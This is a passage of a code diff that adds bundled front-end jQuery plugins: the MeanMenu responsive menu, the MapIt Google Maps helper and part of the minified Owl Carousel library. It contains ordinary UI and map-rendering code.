FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE +* OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, +* COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.COPYRIGHT HOLDERS WILL NOT +* BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL +* DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION. +* +* You should have received a copy of the GNU General Public License +* along with this program. If not, see <http://gnu.org/licenses/>. +* +* Find more information at http://www.meanthemes.com/plugins/meanmenu/ +* +*/ +(function ($) { + "use strict"; + $.fn.meanmenu = function (options) { + var defaults = { + meanMenuTarget: jQuery(this), // Target the current HTML markup you wish to replace + meanMenuContainer: '.menu-area', // Choose where meanmenu will be placed within the HTML + meanMenuClose: "X", // single character you want to represent the close menu button + meanMenuCloseSize: "25px", // set font size of close button + meanMenuOpen: "<span /><span /><span />", // text/markup you want when menu is closed + meanRevealPosition: "", // left right or center positions + meanRevealPositionDistance: "0", // Tweak the position of the menu + meanRevealColour: "", // override CSS colours for the reveal background + meanScreenWidth: "767", // set the screen width you want meanmenu to kick in at + meanNavPush: "", // set a height here in px, em or % if you want to budge your layout now the navigation is missing. + meanShowChildren: true, // true to show children in the menu, false to hide them + meanExpandableChildren: true, // true to allow expand/collapse children + meanExpand: "+", // single character you want to represent the expand for ULs + meanContract: "-", // single character you want to represent the contract for ULs + meanRemoveAttrs: false, // true to remove classes and IDs, false to keep them + onePage: false, // set to true for one page sites + meanDisplay: "block", // override display method for table cell based layouts e.g. table-cell + removeElements: "" // set to hide page elements + }; + options = $.extend(defaults, options); + + // get browser width + var currentWidth = window.innerWidth || document.documentElement.clientWidth; + + return this.each(function () { + var meanMenu = options.meanMenuTarget; + var meanContainer = options.meanMenuContainer; + var meanMenuClose = options.meanMenuClose; + var meanMenuCloseSize = options.meanMenuCloseSize; + var meanMenuOpen = options.meanMenuOpen; + var meanRevealPosition = options.meanRevealPosition; + var meanRevealPositionDistance = options.meanRevealPositionDistance; + var meanRevealColour = options.meanRevealColour; + var meanScreenWidth = options.meanScreenWidth; + var meanNavPush = options.meanNavPush; + var meanRevealClass = ".meanmenu-reveal"; + var meanShowChildren = options.meanShowChildren; + var meanExpandableChildren = options.meanExpandableChildren; + var meanExpand = options.meanExpand; + var meanContract = options.meanContract; + var meanRemoveAttrs = options.meanRemoveAttrs; + var onePage = options.onePage; + var meanDisplay = options.meanDisplay; + var removeElements = options.removeElements; + + //detect known mobile/tablet usage + var isMobile = false; + if ( (navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i)) || (navigator.userAgent.match(/iPad/i)) || (navigator.userAgent.match(/Android/i)) || (navigator.userAgent.match(/Blackberry/i)) || (navigator.userAgent.match(/Windows Phone/i)) ) { + isMobile = true; + } + + if ( (navigator.userAgent.match(/MSIE 8/i)) || (navigator.userAgent.match(/MSIE 7/i)) ) { + // add scrollbar for IE7 & 8 to stop breaking resize function on small content sites + jQuery('html').css("overflow-y" , "scroll"); + } + + var meanRevealPos = ""; + var meanCentered = function() { + if (meanRevealPosition === "center") { + var newWidth = window.innerWidth || document.documentElement.clientWidth; + var meanCenter = ( (newWidth/2)-22 )+"px"; + meanRevealPos = "left:" + meanCenter + ";right:auto;"; + + if (!isMobile) { + jQuery('.meanmenu-reveal').css("left",meanCenter); + } else { + jQuery('.meanmenu-reveal').animate({ + left: meanCenter + }); + } + } + }; + + var menuOn = false; + var meanMenuExist = false; + + + if (meanRevealPosition === "right") { + meanRevealPos = "right:" + meanRevealPositionDistance + ";left:auto;"; + } + if (meanRevealPosition === "left") { + meanRevealPos = "left:" + meanRevealPositionDistance + ";right:auto;"; + } + // run center function + meanCentered(); + + // set all styles for mean-reveal + var $navreveal = ""; + + var meanInner = function() { + // get last class name + if (jQuery($navreveal).is(".meanmenu-reveal.meanclose")) { + $navreveal.html(meanMenuClose); + } else { + $navreveal.html(meanMenuOpen); + } + }; + + // re-instate original nav (and call this on window.width functions) + var meanOriginal = function() { + jQuery('.mean-bar,.mean-push').remove(); + jQuery(meanContainer).removeClass("mean-container"); + jQuery(meanMenu).css('display', meanDisplay); + menuOn = false; + meanMenuExist = false; + jQuery(removeElements).removeClass('mean-remove'); + }; + + // navigation reveal + var showMeanMenu = function() { + var meanStyles = "background:"+meanRevealColour+";color:"+meanRevealColour+";"+meanRevealPos; + if (currentWidth <= meanScreenWidth) { + jQuery(removeElements).addClass('mean-remove'); + meanMenuExist = true; + // add class to body so we don't need to worry about media queries here, all CSS is wrapped in '.mean-container' + jQuery(meanContainer).addClass("mean-container"); + jQuery('.mean-container').prepend('<div class="mean-bar"><a href="#nav" class="meanmenu-reveal" style="'+meanStyles+'">Show Navigation</a><nav class="mean-nav"></nav></div>'); + + //push meanMenu navigation into .mean-nav + var meanMenuContents = jQuery(meanMenu).html(); + jQuery('.mean-nav').html(meanMenuContents); + + // remove all classes from EVERYTHING inside meanmenu nav + if(meanRemoveAttrs) { + jQuery('nav.mean-nav ul, nav.mean-nav ul *').each(function() { + // First check if this has mean-remove class + if (jQuery(this).is('.mean-remove')) { + jQuery(this).attr('class', 'mean-remove'); + } else { + jQuery(this).removeAttr("class"); + } + jQuery(this).removeAttr("id"); + }); + } + + // push in a holder div (this can be used if removal of nav is causing layout issues) + jQuery(meanMenu).before('<div class="mean-push" />'); + jQuery('.mean-push').css("margin-top",meanNavPush); + + // hide current navigation and reveal mean nav link + jQuery(meanMenu).hide(); + jQuery(".meanmenu-reveal").show(); + + // turn 'X' on or off + jQuery(meanRevealClass).html(meanMenuOpen); + $navreveal = jQuery(meanRevealClass); + + //hide mean-nav ul + jQuery('.mean-nav ul').hide(); + + // hide sub nav + if(meanShowChildren) { + // allow expandable sub nav(s) + if(meanExpandableChildren){ + jQuery('.mean-nav ul ul').each(function() { + if(jQuery(this).children().length){ + jQuery(this,'li:first').parent().append('<a class="mean-expand" href="#" style="font-size: '+ meanMenuCloseSize +'">'+ meanExpand +'</a>'); + } + }); + jQuery('.mean-expand').on("click",function(e){ + e.preventDefault(); + if (jQuery(this).hasClass("mean-clicked")) { + jQuery(this).text(meanExpand); + jQuery(this).prev('ul').slideUp(300, function(){}); + } else { + jQuery(this).text(meanContract); + jQuery(this).prev('ul').slideDown(300, function(){}); + } + jQuery(this).toggleClass("mean-clicked"); + }); + } else { + jQuery('.mean-nav ul ul').show(); + } + } else { + jQuery('.mean-nav ul ul').hide(); + } + + // add last class to tidy up borders + jQuery('.mean-nav ul li').last().addClass('mean-last'); + $navreveal.removeClass("meanclose"); + jQuery($navreveal).click(function(e){ + e.preventDefault(); + if( menuOn === false ) { + $navreveal.css("text-align", "center"); + $navreveal.css("text-indent", "0"); + $navreveal.css("font-size", meanMenuCloseSize); + jQuery('.mean-nav ul:first').slideDown(); + menuOn = true; + } else { + jQuery('.mean-nav ul:first').slideUp(); + menuOn = false; + } + $navreveal.toggleClass("meanclose"); + meanInner(); + jQuery(removeElements).addClass('mean-remove'); + }); + + // for one page websites, reset all variables... + if ( onePage ) { + jQuery('.mean-nav ul > li > a:first-child').on( "click" , function () { + jQuery('.mean-nav ul:first').slideUp(); + menuOn = false; + jQuery($navreveal).toggleClass("meanclose").html(meanMenuOpen); + }); + } + } else { + meanOriginal(); + } + }; + + if (!isMobile) { + // reset menu on resize above meanScreenWidth + jQuery(window).resize(function () { + currentWidth = window.innerWidth || document.documentElement.clientWidth; + if (currentWidth > meanScreenWidth) { + meanOriginal(); + } else { + meanOriginal(); + } + if (currentWidth <= meanScreenWidth) { + showMeanMenu(); + meanCentered(); + } else { + meanOriginal(); + } + }); + } + + jQuery(window).resize(function () { + // get browser width + currentWidth = window.innerWidth || document.documentElement.clientWidth; + + if (!isMobile) { + meanOriginal(); + if (currentWidth <= meanScreenWidth) { + showMeanMenu(); + meanCentered(); + } + } else { + meanCentered(); + if (currentWidth <= meanScreenWidth) { + if (meanMenuExist === false) { + showMeanMenu(); + } + } else { + meanOriginal(); + } + } + }); + + // run main menuMenu function on load + showMeanMenu(); + }); + }; +})(jQuery); + + +/* MapIt +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/** + * MapIt + * + * @copyright Copyright 2013, Dimitris Krestos + * @license Apache License, Version 2.0 (http://www.opensource.org/licenses/apache2.0.php) + * @link http://vdw.staytuned.gr + * @version v0.3.0 + */ + +!function($,window,undefined){"use strict";$.fn.mapit=function(options){var defaults={latitude:37.970996,longitude:23.730542,zoom:16,type:"ROADMAP",scrollwheel:!1,marker:{latitude:37.970996,longitude:23.730542,icon:"",title:"",open:!1,center:!0},address:"",styles:"GRAYSCALE",locations:[],origins:[]},options=$.extend(defaults,options);$(this).each(function(){var $this=$(this),directionsDisplay=new google.maps.DirectionsRenderer,mapOptions={scrollwheel:options.scrollwheel,scaleControl:!1,center:options.marker.center?new google.maps.LatLng(options.marker.latitude,options.marker.longitude):new google.maps.LatLng(options.latitude,options.longitude),zoom:options.zoom,mapTypeId:eval("google.maps.MapTypeId."+options.type)},map=new google.maps.Map(document.getElementById($this.attr("id")),mapOptions);if(directionsDisplay.setMap(map),options.styles){var GRAYSCALE_style=[{featureType:"all",elementType:"all",stylers:[{saturation:-100}]}],MIDNIGHT_style=[{featureType:"water",stylers:[{color:"#021019"}]},{featureType:"landscape",stylers:[{color:"#08304b"}]},{featureType:"poi",elementType:"geometry",stylers:[{color:"#0c4152"},{lightness:5}]},{featureType:"road.highway",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#0b434f"},{lightness:25}]},{featureType:"road.arterial",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"road.arterial",elementType:"geometry.stroke",stylers:[{color:"#0b3d51"},{lightness:16}]},{featureType:"road.local",elementType:"geometry",stylers:[{color:"#000000"}]},{elementType:"labels.text.fill",stylers:[{color:"#ffffff"}]},{elementType:"labels.text.stroke",stylers:[{color:"#000000"},{lightness:13}]},{featureType:"transit",stylers:[{color:"#146474"}]},{featureType:"administrative",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"administrative",elementType:"geometry.stroke",stylers:[{color:"#144b53"},{lightness:14},{weight:1.4}]}],BLUE_style=[{featureType:"water",stylers:[{color:"#46bcec"},{visibility:"on"}]},{featureType:"landscape",stylers:[{color:"#f2f2f2"}]},{featureType:"road",stylers:[{saturation:-100},{lightness:45}]},{featureType:"road.highway",stylers:[{visibility:"simplified"}]},{featureType:"road.arterial",elementType:"labels.icon",stylers:[{visibility:"off"}]},{featureType:"administrative",elementType:"labels.text.fill",stylers:[{color:"#444444"}]},{featureType:"transit",stylers:[{visibility:"off"}]},{featureType:"poi",stylers:[{visibility:"off"}]}],mapType=new google.maps.StyledMapType(eval(options.styles+"_style"),{name:options.styles});map.mapTypes.set(options.styles,mapType),map.setMapTypeId(options.styles)}var home=new google.maps.Marker({map:map,position:new google.maps.LatLng(options.marker.latitude,options.marker.longitude),icon:new google.maps.MarkerImage(options.marker.icon),title:options.marker.title}),info=new google.maps.InfoWindow({content:options.address});options.marker.open?info.open(map,home):google.maps.event.addListener(home,"click",function(){info.open(map,home)});var infowindow=new google.maps.InfoWindow,marker,i,markers=[];for(i=0;i<options.locations.length;i++)marker=new google.maps.Marker({position:new google.maps.LatLng(options.locations[i][0],options.locations[i][1]),map:map,icon:new google.maps.MarkerImage(options.locations[i][2]||options.marker.icon),title:options.locations[i][3]}),markers.push(marker),google.maps.event.addListener(marker,"click",function(e,o){return function(){infowindow.setContent(options.locations[o][4]),infowindow.open(map,e)}}(marker,i));var directionsService=new google.maps.DirectionsService;$this.on("route",function(e,o){var t={origin:new google.maps.LatLng(options.origins[o][0],options.origins[o][1]),destination:new google.maps.LatLng(options.marker.latitude,options.marker.longitude),travelMode:google.maps.TravelMode.DRIVING};directionsService.route(t,function(e,o){o==google.maps.DirectionsStatus.OK&&directionsDisplay.setDirections(e)})}),$this.on("hide_all",function(){for(var e=0;e<options.locations.length;e++)markers[e].setVisible(!1)}),$this.on("show",function(e,o){$this.trigger("hide_all"),$this.trigger("reset");for(var t=new google.maps.LatLngBounds,i=0;i<options.locations.length;i++)options.locations[i][6]==o&&markers[i].setVisible(!0),t.extend(markers[i].position);map.fitBounds(t)}),$this.on("hide",function(e,o){for(var t=0;t<options.locations.length;t++)options.locations[t][6]==o&&markers[t].setVisible(!1)}),$this.on("clear",function(){if(markers)for(var e=0;e<markers.length;e++)markers[e].setMap(null)}),$this.on("reset",function(){map.setCenter(new google.maps.LatLng(options.latitude,options.longitude),options.zoom)}),$this.trigger("hide_all")})},$(document).ready(function(){$('[data-toggle="mapit"]').mapit()})}(jQuery); + + + + /* Owl Carousel v2.3.3 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/** + * Owl Carousel v2.3.3 + * Copyright 2013-2018 David Deutsch + * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE + */ +!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push({filter:c.filter,run:a.proxy(c.run,this)})},this)),this.setup(),this.initialize()}e.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag:!0,pullDrag:!0,freeDrag:!1,margin:0,stagePadding:0,merge:!1,mergeFit:!0,autoWidth:!1,startPosition:0,rtl:!1,smartSpeed:250,fluidSpeed:!1,dragEndSpeed:!1,responsive:{},responsiveRefreshRate:200,responsiveBaseElement:b,fallbackEasing:"swing",info:!1,nestedItemSelector:!1,itemElement:"div",stageElement:"div",refreshClass:"owl-refresh",loadedClass:"owl-loaded",loadingClass:"owl-loading",rtlClass:"owl-rtl",responsiveClass:"owl-responsive",dragClass:"owl-drag",itemClass:"owl-item",stageClass:"owl-stage",stageOuterClass:"owl-stage-outer",grabClass:"owl-grab"},e.Width={Default:"default",Inner:"inner",Outer:"outer"},e.Type={Event:"event",State:"state"},e.Plugins={},e.Workers=[{filter:["width","settings"],run:function(){this._width=this.$element.width()}},{filter:["width","items","settings"],run:function(a){a.current=this._items&&this._items[this.relative(this._current)]}},{filter:["items","settings"],run:function(){this.$stage.children(".cloned").remove()}},{filter:["width","items","settings"],run:function(a){var b=this.settings.margin||"",c=!this.settings.autoWidth,d=this.settings.rtl,e={width:"auto","margin-left":d?b:"","margin-right":d?"":b};!c&&this.$stage.children().css(e),a.css=e}},{filter:["width","items","settings"],run:function(a){var b=(this.width()/this.settings.items).toFixed(3)-this.settings.margin,c=null,d=this._items.length,e=!this.settings.autoWidth,f=[];for(a.items={merge:!1,width:b};d--;)c=this._mergers[d],c=this.settings.mergeFit&&Math.min(c,this.settings.items)||c,a.items.merge=c>1||a.items.merge,f[d]=e?b*c:this._items[d].width();this._widths=f}},{filter:["items","settings"],run:function(){var b=[],c=this._items,d=this.settings,e=Math.max(2*d.items,4),f=2*Math.ceil(c.length/2),g=d.loop&&c.length?d.rewind?e:Math.max(e,f):0,h="",i="";for(g/=2;g>0;)b.push(this.normalize(b.length/2,!0)),h+=c[b[b.length-1]][0].outerHTML,b.push(this.normalize(c.length-1-(b.length-1)/2,!0)),i=c[b[b.length-1]][0].outerHTML+i,g-=1;this._clones=b,a(h).addClass("cloned").appendTo(this.$stage),a(i).addClass("cloned").prependTo(this.$stage)}},{filter:["width","items","settings"],run:function(){for(var a=this.settings.rtl?1:-1,b=this._clones.length+this._items.length,c=-1,d=0,e=0,f=[];++c<b;)d=f[c-1]||0,e=this._widths[this.relative(c)]+this.settings.margin,f.push(d+e*a);this._coordinates=f}},{filter:["width","items","settings"],run:function(){var a=this.settings.stagePadding,b=this._coordinates,c={width:Math.ceil(Math.abs(b[b.length-1]))+2*a,"padding-left":a||"","padding-right":a||""};this.$stage.css(c)}},{filter:["width","items","settings"],run:function(a){var b=this._coordinates.length,c=!this.settings.autoWidth,d=this.$stage.children();if(c&&a.items.merge)for(;b--;)a.css.width=this._widths[this.relative(b)],d.eq(b).css(a.css);else c&&(a.css.width=a.items.width,d.css(a.css))}},{filter:["items"],run:function(){this._coordinates.length<1&&this.$stage.removeAttr("style")}},{filter:["width","items","settings"],run:function(a){a.current=a.current?this.$stage.children().index(a.current):0,a.current=Math.max(this.minimum(),Math.min(this.maximum(),a.current)),this.reset(a.current)}},{filter:["position"],run:function(){this.animate(this.coordinates(this._current))}},{filter:["width","position","items","settings"],run:function(){var a,b,c,d,e=this.settings.rtl?1:-1,f=2*this.settings.stagePadding,g=this.coordinates(this.current())+f,h=g+this.width()*e,i=[];for(c=0,d=this._coordinates.length;c<d;c++)a=this._coordinates[c-1]||0,b=Math.abs(this._coordinates[c])+f*e,(this.op(a,"<=",g)&&this.op(a,">",h)||this.op(b,"<",g)&&this.op(b,">",h))&&i.push(c);this.$stage.children(".active").removeClass("active"),this.$stage.children(":eq("+i.join("), :eq(")+")").addClass("active"),this.$stage.children(".center").removeClass("center"),this.settings.center&&this.$stage.children().eq(this.current()).addClass("center")}}],e.prototype.initializeStage=function(){this.$stage=this.$element.find("."+this.settings.stageClass),this.$stage.length||(this.$element.addClass(this.options.loadingClass),this.$stage=a("<"+this.settings.stageElement+' class="'+this.settings.stageClass+'"/>').wrap('<div class="'+this.settings.stageOuterClass+'"/>'),this.$element.append(this.$stage.parent()))},e.prototype.initializeItems=function(){var b=this.$element.find(".owl-item");if(b.length)return this._items=b.get().map(function(b){return a(b)}),this._mergers=this._items.map(function(){return 1}),void this.refresh();this.replace(this.$element.children().not(this.$stage.parent())),this.isVisible()?this.refresh():this.invalidate("width"),this.$element.removeClass(this.options.loadingClass).addClass(this.options.loadedClass)},e.prototype.initialize=function(){if(this.enter("initializing"),this.trigger("initialize"),this.$element.toggleClass(this.settings.rtlClass,this.settings.rtl),this.settings.autoWidth&&!this.is("pre-loading")){var a,b,c;a=this.$element.find("img"),b=this.settings.nestedItemSelector?"."+this.settings.nestedItemSelector:d,c=this.$element.children(b).width(),a.length&&c<=0&&this.preloadAutoWidthImages(a)}this.initializeStage(),this.initializeItems(),this.registerEventHandlers(),this.leave("initializing"),this.trigger("initialized")},e.prototype.isVisible=function(){return!this.settings.checkVisibility||this.$element.is(":visible")},e.prototype.setup=function(){var b=this.viewport(),c=this.options.responsive,d=-1,e=null;c?(a.each(c,function(a){a<=b&&a>d&&(d=Number(a))}),e=a.extend({},this.options,c[d]),"function"==typeof e.stagePadding&&(e.stagePadding=e.stagePadding()),delete e.responsive,e.responsiveClass&&this.$element.attr("class",this.$element.attr("class").replace(new RegExp("("+this.options.responsiveClass+"-)\\S+\\s","g"),"$1"+d))):e=a.extend({},this.options),this.trigger("change",{property:{name:"settings",value:e}}),this._breakpoint=d,this.settings=e,this.invalidate("settings"),this.trigger("changed",{property:{name:"settings",value:this.settings}})},e.prototype.optionsLogic=function(){this.settings.autoWidth&&(this.settings.stagePadding=!1,this.settings.merge=!1)},e.prototype.prepare=function(b){var c=this.trigger("prepare",{content:b});return c.data||(c.data=a("<"+this.settings.itemElement+"/>").addClass(this.options.itemClass).append(b)),this.trigger("prepared",{content:c.data}),c.data},e.prototype.update=function(){for(var b=0,c=this._pipe.length,d=a.proxy(function(a){return this[a]},this._invalidated),e={};b<c;)(this._invalidated.all||a.grep(this._pipe[b].filter,d).length>0)&&this._pipe[b].run(e),b++;this._invalidated={},!this.is("valid")&&this.enter("valid")},e.prototype.width=function(a){switch(a=a||e.Width.Default){case e.Width.Inner:case e.Width.Outer:return this._width;default:return this._width-2*this.settings.stagePadding+this.settings.margin}},e.prototype.refresh=function(){this.enter("refreshing"),this.trigger("refresh"),this.setup(),this.optionsLogic(),this.$element.addClass(this.options.refreshClass),this.update(),this.$element.removeClass(this.options.refreshClass),this.leave("refreshing"),this.trigger("refreshed")},e.prototype.onThrottledResize=function(){b.clearTimeout(this.resizeTimer),this.resizeTimer=b.setTimeout(this._handlers.onResize,this.settings.responsiveRefreshRate)},e.prototype.onResize=function(){return!!this._items.length&&(this._width!==this.$element.width()&&(!!this.isVisible()&&(this.enter("resizing"),this.trigger("resize").isDefaultPrevented()?(this.leave("resizing"),!1):(this.invalidate("width"),this.refresh(),this.leave("resizing"),void this.trigger("resized")))))},e.prototype.registerEventHandlers=function(){a.support.transition&&this.$stage.on(a.support.transition.end+".owl.core",a.proxy(this.onTransitionEnd,this)),!1!==this.settings.responsive&&this.on(b,"resize",this._handlers.onThrottledResize),this.settings.mouseDrag&&(this.$element.addClass(this.options.dragClass),this.$stage.on("mousedown.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("dragstart.owl.core selectstart.owl.core",function(){return!1})),this.settings.touchDrag&&(this.$stage.on("touchstart.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("touchcancel.owl.core",a.proxy(this.onDragEnd,this)))},e.prototype.onDragStart=function(b){var d=null;3!==b.which&&(a.support.transform?(d=this.$stage.css("transform").replace(/.*\(|\)| /g,"").split(","),d={x:d[16===d.length?12:4],y:d[16===d.length?13:5]}):(d=this.$stage.position(),d={x:this.settings.rtl?d.left+this.$stage.width()-this.width()+this.settings.margin:d.left,y:d.top}),this.is("animating")&&(a.support.transform?this.animate(d.x):this.$stage.stop(),this.invalidate("position")),this.$element.toggleClass(this.options.grabClass,"mousedown"===b.type),this.speed(0),this._drag.time=(new Date).getTime(),this._drag.target=a(b.target),this._drag.stage.start=d,this._drag.stage.current=d,this._drag.pointer=this.pointer(b),a(c).on("mouseup.owl.core touchend.owl.core",a.proxy(this.onDragEnd,this)),a(c).one("mousemove.owl.core touchmove.owl.core",a.proxy(function(b){var d=this.difference(this._drag.pointer,this.pointer(b));a(c).on("mousemove.owl.core touchmove.owl.core",a.proxy(this.onDragMove,this)),Math.abs(d.x)<Math.abs(d.y)&&this.is("valid")||(b.preventDefault(),this.enter("dragging"),this.trigger("drag"))},this)))},e.prototype.onDragMove=function(a){var b=null,c=null,d=null,e=this.difference(this._drag.pointer,this.pointer(a)),f=this.difference(this._drag.stage.start,e);this.is("dragging")&&(a.preventDefault(),this.settings.loop?(b=this.coordinates(this.minimum()),c=this.coordinates(this.maximum()+1)-b,f.x=((f.x-b)%c+c)%c+b):(b=this.settings.rtl?this.coordinates(this.maximum()):this.coordinates(this.minimum()),c=this.settings.rtl?this.coordinates(this.minimum()):this.coordinates(this.maximum()),d=this.settings.pullDrag?-1*e.x/5:0,f.x=Math.max(Math.min(f.x,b+d),c+d)),this._drag.stage.current=f,this.animate(f.x))},e.prototype.onDragEnd=function(b){var d=this.difference(this._drag.pointer,this.pointer(b)),e=this._drag.stage.current,f=d.x>0^this.settings.rtl?"left":"right";a(c).off(".owl.core"),this.$element.removeClass(this.options.grabClass),(0!==d.x&&this.is("dragging")||!this.is("valid"))&&(this.speed(this.settings.dragEndSpeed||this.settings.smartSpeed),this.current(this.closest(e.x,0!==d.x?f:this._drag.direction)),this.invalidate("position"),this.update(),this._drag.direction=f,(Math.abs(d.x)>3||(new Date).getTime()-this._drag.time>300)&&this._drag.target.one("click.owl.core",function(){return!1})),this.is("dragging")&&(this.leave("dragging"),this.trigger("dragged"))},e.prototype.closest=function(b,c){var e=-1,f=30,g=this.width(),h=this.coordinates();return this.settings.freeDrag||a.each(h,a.proxy(function(a,i){return"left"===c&&b>i-f&&b<i+f?e=a:"right"===c&&b>i-g-f&&b<i-g+f?e=a+1:this.op(b,"<",i)&&this.op(b,">",h[a+1]!==d?h[a+1]:i-g)&&(e="left"===c?a+1:a),-1===e},this)),this.settings.loop||(this.op(b,">",h[this.minimum()])?e=b=this.minimum():this.op(b,"<",h[this.maximum()])&&(e=b=this.maximum())),e},e.prototype.animate=function(b){var c=this.speed()>0;this.is("animating")&&this.onTransitionEnd(),c&&(this.enter("animating"),this.trigger("translate")),a.support.transform3d&&a.support.transition?this.$stage.css({transform:"translate3d("+b+"px,0px,0px)",transition:this.speed()/1e3+"s"}):c?this.$stage.animate({left:b+"px"},this.speed(),this.settings.fallbackEasing,a.proxy(this.onTransitionEnd,this)):this.$stage.css({left:b+"px"})},e.prototype.is=function(a){return this._states.current[a]&&this._states.current[a]>0},e.prototype.current=function(a){if(a===d)return this._current;if(0===this._items.length)return d;if(a=this.normalize(a),this._current!==a){var b=this.trigger("change",{property:{name:"position",value:a}});b.data!==d&&(a=this.normalize(b.data)),this._current=a,this.invalidate("position"),this.trigger("changed",{property:{name:"position",value:this._current}})}return this._current},e.prototype.invalidate=function(b){return"string"===a.type(b)&&(this._invalidated[b]=!0,this.is("valid")&&this.leave("valid")),a.map(this._invalidated,function(a,b){return b})},e.prototype.reset=function(a){(a=this.normalize(a))!==d&&(this._speed=0,this._current=a,this.suppress(["translate","translated"]),this.animate(this.coordinates(a)),this.release(["translate","translated"]))},e.prototype.normalize=function(a,b){var c=this._items.length,e=b?0:this._clones.length;return!this.isNumeric(a)||c<1?a=d:(a<0||a>=c+e)&&(a=((a-e/2)%c+c)%c+e/2),a},e.prototype.relative=function(a){return a-=this._clones.length/2,this.normalize(a,!0)},e.prototype.maximum=function(a){var b,c,d,e=this.settings,f=this._coordinates.length;if(e.loop)f=this._clones.length/2+this._items.length-1;else if(e.autoWidth||e.merge){if(b=this._items.length)for(c=this._items[--b].width(),d=this.$element.width();b--&&!((c+=this._items[b].width()+this.settings.margin)>d););f=b+1}else f=e.center?this._items.length-1:this._items.length-e.items;return a&&(f-=this._clones.length/2),Math.max(f,0)},e.prototype.minimum=function(a){return a?0:this._clones.length/2},e.prototype.items=function(a){return a===d?this._items.slice():(a=this.normalize(a,!0),this._items[a])},e.prototype.mergers=function(a){return a===d?this._mergers.slice():(a=this.normalize(a,!0),this._mergers[a])},e.prototype.clones=function(b){var c=this._clones.length/2,e=c+this._items.length,f=function(a){return a%2==0?e+a/2:c-(a+1)/2};return b===d?a.map(this._clones,function(a,b){return f(b)}):a.map(this._clones,function(a,c){return a===b?f(c):null})},e.prototype.speed=function(a){return a!==d&&(this._speed=a),this._speed},e.prototype.coordinates=function(b){var c,e=1,f=b-1;return b===d?a.map(this._coordinates,a.proxy(function(a,b){return this.coordinates(b)},this)):(this.settings.center?(this.settings.rtl&&(e=-1,f=b+1),c=this._coordinates[b],c+=(this.width()-c+(this._coordinates[f]||0))/2*e):c=this._coordinates[f]||0,c=Math.ceil(c))},e.prototype.duration=function(a,b,c){return 0===c?0:Math.min(Math.max(Math.abs(b-a),1),6)*Math.abs(c||this.settings.smartSpeed)},e.prototype.to=function(a,b){var c=this.current(),d=null,e=a-this.relative(c),f=(e>0)-(e<0),g=this._items.length,h=this.minimum(),i=this.maximum();this.settings.loop?(!this.settings.rewind&&Math.abs(e)>g/2&&(e+=-1*f*g),a=c+e,(d=((a-h)%g+g)%g+h)!==a&&d-e<=i&&d-e>0&&(c=d-e,a=d,this.reset(c))):this.settings.rewind?(i+=1,a=(a%i+i)%i):a=Math.max(h,Math.min(i,a)),this.speed(this.duration(c,a,b)),this.current(a),this.isVisible()&&this.update()},e.prototype.next=function(a){a=a||!1,this.to(this.relative(this.current())+1,a)},e.prototype.prev=function(a){a=a||!1,this.to(this.relative(this.current())-1,a)},e.prototype.onTransitionEnd=function(a){if(a!==d&&(a.stopPropagation(),(a.target||a.srcElement||a.originalTarget)!==this.$stage.get(0)))return!1;this.leave("animating"),this.trigger("translated")},e.prototype.viewport=function(){var d;return this.options.responsiveBaseElement!==b?d=a(this.options.responsiveBaseElement).width():b.innerWidth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),this.settings.nestedItemSelector&&(b=b.find("."+this.settings.nestedItemSelector)),b.filter(function(){return 1===this.nodeType}).each(a.proxy(function(a,b){b=this.prepare(b),this.$stage.append(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)},this)),this.reset(this.isNumeric(this.settings.startPosition)?this.settings.startPosition:0),this.invalidate("items")},e.prototype.add=function(b,c){var e=this.relative(this._current);c=c===d?this._items.length:this.normalize(c,!0),b=b instanceof 